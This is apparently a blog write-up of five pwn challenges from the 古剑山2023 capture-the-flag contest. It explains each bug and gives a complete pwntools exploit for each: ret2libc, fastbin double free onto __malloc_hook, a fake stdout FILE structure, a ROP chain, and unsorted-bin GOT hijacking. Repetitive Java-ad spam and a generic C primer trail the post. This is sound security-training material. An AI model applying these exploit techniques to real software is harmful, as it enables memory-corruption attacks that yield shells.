[古剑山2023] pwn

最近这个打stdout的题真多。这个比赛没打。拿到附件作了一天。

choice

32位,libc-2.23-i386,nbytes初始值为0x14,读入0x804A04C 0x14字节后会覆盖到nbytes 1个字节。当再次向v1读入nbytes字节时会造成溢出。

先写0x14+p8(0xff)覆盖到nbytes然后溢出写传统的两回合puts(got.puts) ,system(bin/sh) 

from pwn import *

elf = ELF('./choice')
libc = ELF('./libc-2.23.so')
p = process('./choice')
context(arch='i386', log_level='debug')

p.sendafter(b"Please enter your name:\n", b'A'*0x14 + p8(0xff)) #nbytes=0xff

pay = flat([b'\x00'*(28+4), elf.plt['puts'], 0x804857b, elf.got['puts']])

p.sendlineafter(b"3. Study hard from now\n", b'2')
p.sendafter(b"Cool! And whd did you choice it?\n", pay)

p.recvuntil(b"Good bye!\n")
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")

pay = flat([b'\x00'*(28+4), libc.sym['system'], 0x804857b, next(libc.search(b'/bin/sh\x00'))])
p.sendafter(b"Cool! And whd did you choice it?\n", pay)

p.interactive()

uafNote

标准的菜单堆题有add,free,show, libc-2.23都是低版本的libc有点像是古代的题重拿回来了。

在free没有清指针有UAF,通过名字也能知道。add建块也没有大小限制,所以直接建0x80的块释放show得到libc地址,然后1-2-1进行double free在malloc前利用错位的0x7f建块在malloc写one

void delete()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("index:");
  num = read_num();
  if ( num <= 0xF )
    free((void *)ptr_table[num]);
}
from pwn import *

elf = ELF('./uafNote')
libc = ELF('./libc-2.23.so')

def add(size,msg=b'A'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"size:", str(size).encode())
    p.sendlineafter(b"content:", msg)

def free(idx):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"index:", str(idx).encode())

p = process('./uafNote')
context(arch='amd64', log_level='debug')

add(0x80)
add(0x60)
add(0x60)

free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

#double free  malloc->one
one = [0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + one[1] 
free(1)
free(2)
free(1)
add(0x60, p64(libc.sym['__malloc_hook'] - 0x23))
add(0x60)
add(0x60)
add(0x60, b'\x00'*0x13 + p64(one_gadget))

#
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"size:", b'8')

p.interactive()

bss2019

这是2019年的题吧,先给了加载地址,相当于没开pie

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Gift:");
  printf("%p\n", &unk_202060);
  sub_9E0();
  return 0LL;
}

然后进入菜单,1是show,可以指定负值,2是edit也可以指定负值最小-64

基地址0x202060的前边0x202020就是stdout通过造一个fake_io_file,然后把stdout指过来。也算是个板子题了。

from pwn import *

elf = ELF('./bss2019')
libc = ELF('./libc-2.23.so')
context(arch='amd64', log_level='debug')

p = process('./bss2019')

p.recvuntil(b"Gift:\n")
elf.address = int(p.recvline(),16) - 0x202060

p.sendlineafter(b"Choice:", b'1')
p.sendlineafter(b"Offset:\n", b'-64')
p.recvuntil(b"This is your data:\n")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
print(f"{elf.address = :x} {libc.address = :x}")

#gdb.attach(p, "b*0x0000555555400b65\nc")
io_file  = b' sh;'+p32(0) + p64(0)*4 + p64(1)
io_file  = io_file.ljust(0x88,b'\x00') + p64(elf.address + 0x202200)
io_file  = io_file.ljust(0xd8,b'\x00') + p64(elf.address + 0x202050 + 0xd8)  #ptr->self
io_file += b'\x00'*0x30 + p64(libc.sym['system'])

p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-16')
p.sendlineafter(b"Size:\n", str(len(io_file)).encode())
p.sendlineafter(b"Input data:", io_file)

p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-64')
p.sendlineafter(b"Size:\n", b'8')
p.sendlineafter(b"Input data:", p64(elf.address +0x202050))

p.interactive()
'''
0x555555602020 <stdout>:        0x0000555555602050      0x0000000000000000
0x555555602030 <stdin>: 0x00007ffff7bc48e0      0x0000000000000000
0x555555602040 <stderr>:        0x00007ffff7bc5620      0x0000000000000000
0x555555602050: 0x000000003b687320      0x0000000000000000  <-- ' sh;\0\0\0\0\'
0x555555602060: 0x0000000000000000      0x0000000000000000
0x555555602070: 0x0000000000000000      0x0000000000000001
0x555555602080: 0x0000000000000000      0x0000000000000000
0x555555602090: 0x0000000000000000      0x0000000000000000
0x5555556020a0: 0x0000000000000000      0x0000000000000000
0x5555556020b0: 0x0000000000000000      0x0000000000000000
0x5555556020c0: 0x0000000000000000      0x0000000000000000
0x5555556020d0: 0x0000000000000000      0x0000555555602200  <-- 指向0
0x5555556020e0: 0x0000000000000000      0x0000000000000000
0x5555556020f0: 0x0000000000000000      0x0000000000000000
0x555555602100: 0x0000000000000000      0x0000000000000000
0x555555602110: 0x0000000000000000      0x0000000000000000
0x555555602120: 0x0000000000000000      0x0000555555602128  <--指向自己
0x555555602130: 0x0000000000000000      0x0000000000000000
0x555555602140: 0x0000000000000000      0x0000000000000000
0x555555602150: 0x0000000000000000      0x0000000000000000
0x555555602160: 0x00007ffff7845390   <-- system
'''

前两天一个c00edit也是这个stdout的题一并拿过来

c00edit

菜单题,但是只有add和edit两个功能

__int64 __fastcall main(const char *a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  __int64 result; // rax

  while ( 2 )
  {
    sub_12A9();
    switch ( sub_12FE(a1, a2) )
    {
      case 1LL:
        m1add();
        continue;
      case 2LL:
      case 4LL:
        a1 = "Not implemented!";
        puts("Not implemented!");
        continue;
      case 3LL:
        m3edit((__int64)a1, (__int64)a2, v3);
        continue;
      case 5LL:
        result = 0LL;
        break;
      default:
        puts("invalid choice");
        result = 0xFFFFFFFFLL;
        break;
    }
    break;
  }
  return result;
}

add先建一个管理块,管理块是size,ptr 。edit在idx和offset都没限制负值,所以可以前溢出,唯一麻烦的是每次只能写8字节。如果写stdout也就只能改一个位置。

int __fastcall sub_13CA(__int64 a1, __int64 a2, __int64 a3)
{
  const char *v3; // rdi
  __int64 v4; // rdx
  __int64 v5; // rbp
  __int64 v6; // rbx
  int result; // eax

  v3 = "No chance!";
  if ( dword_40E0 > 16 )
    return puts(v3);
  __printf_chk(1LL, "Index: ", a3);
  v3 = "Invalid index!";
  v5 = sub_12FE(1LL, "Index: ");
  if ( !*((_QWORD *)&qword_4060 + v5) )
    return puts(v3);
  __printf_chk(1LL, "Offset: ", v4);
  v6 = sub_12FE(1LL, "Offset: ");
  if ( v6 + 7 >= **((_QWORD **)&qword_4060 + v5) )
  {
    v3 = "Invalid offset!";
    return puts(v3);
  }
  __printf_chk(1LL, "Content: ", v6 + 7);
  result = read(0, (void *)(*(_QWORD *)(*((_QWORD *)&qword_4060 + v5) + 8LL) + v6), 8uLL);
  ++dword_40E0;
  return result;
}

首先利用指针前溢出指向stdout,在stdout头部的标识和指针当作是管理块的地址利用负偏移修改头和io_write_end输出得到libc

#0x7ffff7e1a780 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ffff7e1a803

然后再将这个位置改到environ输入栈地址,由于栈地址比较远需要输出的部分较长。

然后建个块,把管理块的指针改为栈的返回地址,直接写rop

from pwn import *

p = process('./chall')
libc = ELF('./libc.so.6')

context(arch='amd64', log_level= 'debug')

def add():
    p.sendlineafter(b"Your choice: ", b'1')

def edit(idx,off,msg):
    p.sendlineafter(b"Your choice: ", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Offset: ", str(off).encode())
    p.sendafter(b"Content: ", msg)

#0x7ffff7e1a780 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ffff7e1a803
edit(-8, -0x83, p64(0xfbad1887))
edit(-8, -0x83+0x28, p8(0x10))   #_IO_write_end 

p.recv(5)
libc.address = u64(p.recv(8)) - 0x21ba70
print(f"{ libc.address = :x}")

#gdb.attach(p, "b*0x555555555180\nc")

edit(-8, -0x83+0x28, p64(libc.sym['environ']+8))
stack = u64(p.recvuntil(b'1. add', drop=True)[-8:]) - 0x120
print(f"{ stack = :x}")

pop_rdi = libc.address + 0x000000000002a3e5
rop = [pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']]
for i in range(len(rop)):
    add()
    edit(i, -0x18, p64(stack + i*8))
    edit(i, 0, p64(rop[i]))

p.sendlineafter(b"Your choice: ", b'5')
p.interactive()

fake

这题据说是个0解题,终于解出来。

一个菜单题,但建块的大小是固定的0x1000,并且没有show,释放后会进入unsort再建块会用掉,而且unsort attack由于并未得到libc所以也就无法修改global_max_fast也就无法用fastbin attack.

这里有一个不常用的攻击unsort attack一般情况下通过修改bk会在指定位置写一个指针(unsort寺址)这个地址是固定的,所以一般无法直接实现攻击。

先看正常情况下的unsort结构,释放到unsort的块fp,bk两个指针指向4b78的位置,在4b88的位置也有两个指针指向释放到unsort的块。实际上只使用bk这个指针。

首先进行unsort attack在0x60b018的位置写入一个指针区的地址,将来会有一个4b78的值会写到指针区,控制4b78开始的一块区域。

 

有开始的时候写passwd时可以在0x6020f0写个0x1010作为头标识(unsort建块时会检查头大小)将0x6020e8作为unsort的块,那么刚写的这个指针就在bk的位置

 

这时候heap[0]可以控制unsort的指针区,修改指针区,让他指向6020e8,这时候就作成了一个伪造好的unsort

这时候再建块就会建到伪造的heap指针区前边,控制指针区,也就可以达到任意读写的目的了。

后边直接写3个指针,一个指向got.free 将来把它改成plt.puts+6得到libc,第2个指针指向puts将来泄露用,第3个指针指向/bin/sh,将free改成system后直接释放它得到shell

from pwn import *

elf = ELF('./fake')
libc = ELF('./libc-2.23.so')

def add(idx,msg=b'A'):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b"Index:", str(idx).encode())
    p.sendlineafter(b"Content:", msg)

def free(idx):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b"Index:", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'Your choice:', b'2')
    p.sendlineafter(b"Index:", str(idx).encode())
    p.send(msg)

p = process('./fake')
context(arch='amd64', log_level='debug')

p.sendafter(b"Enter your password:\n", flat(0,0,0x1010))

add(0)
add(1)
free(0)

edit(0, flat(0,0x6020f0))
add(2)
edit(0, flat(0,0,0x6020e8,0x6020e8))
add(3, flat(0,0x602018,0x602020,0x602118, b'/bin/sh\x00'))
#0->got.free 1->got.puts
edit(0, p64(elf.plt['puts']+6)[:-1]) #free->puts
free(1)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")

edit(0, p64(libc.sym['system'])[:-1]) #free->system

free(2)
p.interactive()

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
ava实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),可运行高分资源 Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现
C语言是一种广泛使用的编程语言,它具有高效、灵活、可移植性强等特点,被广泛应用于操作系统、嵌入式系统、数据库、编译器等领域的开发。C语言的基本语法包括变量、数据类型、运算符、控制结构(如if语句、循环语句等)、函数、指针等。下面详细介绍C语言的基本概念和语法。 1. 变量和数据类型 在C语言中,变量用于存储数据,数据类型用于定义变量的类型和范围。C语言支持多种数据类型,包括基本数据类型(如int、float、char等)和复合数据类型(如结构体、联合等)。 2. 运算符 C语言中常用的运算符包括算术运算符(如+、、、/等)、关系运算符(如==、!=、、=、<、<=等)、逻辑运算符(如&&、||、!等)。此外,还有位运算符(如&、|、^等)和指针运算符(如、等)。 3. 控制结构 C语言中常用的控制结构包括if语句、循环语句(如for、while等)和switch语句。通过这些控制结构,可以实现程序的分支、循环和多路选择等功能。 4. 函数 函数是C语言中用于封装代码的单元,可以实现代码的复用和模块化。C语言中定义函数使用关键字“void”或返回值类型(如int、float等),并通过“{”和“}”括起来的代码块来实现函数的功能。 5. 指针 指针是C语言中用于存储变量地址的变量。通过指针,可以实现对内存的间接访问和修改。C语言中定义指针使用星号()符号,指向数组、字符串和结构体等数据结构时,还需要注意数组名和字符串常量的特殊性质。 6. 数组和字符串 数组是C语言中用于存储同类型数据的结构,可以通过索引访问和修改数组中的元素。字符串是C语言中用于存储文本数据的特殊类型,通常以字符串常量的形式出现,用双引号("...")括起来,末尾自动添加'\0'字符。 7. 结构体和联合 结构体和联合是C语言中用于存储不同类型数据的复合数据类型。结构体由多个成员组成,每个成员可以是不同的数据类型;联合由多个变量组成,它们共用同一块内存空间。通过结构体和联合,可以实现数据的封装和抽象。 8. 文件操作 C语言中通过文件操作函数(如fopen、fclose、fread、fwrite等)实现对文件的读写操作。文件操作函数通常返回文件指针,用于表示打开的文件。通过文件指针,可以进行文件的定位、读写等操作。 总之,C语言是一种功能强大、灵活高效的编程语言,广泛应用于各种领域。掌握C语言的基本语法和数据结构,可以为编程学习和实践打下坚实的基础。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值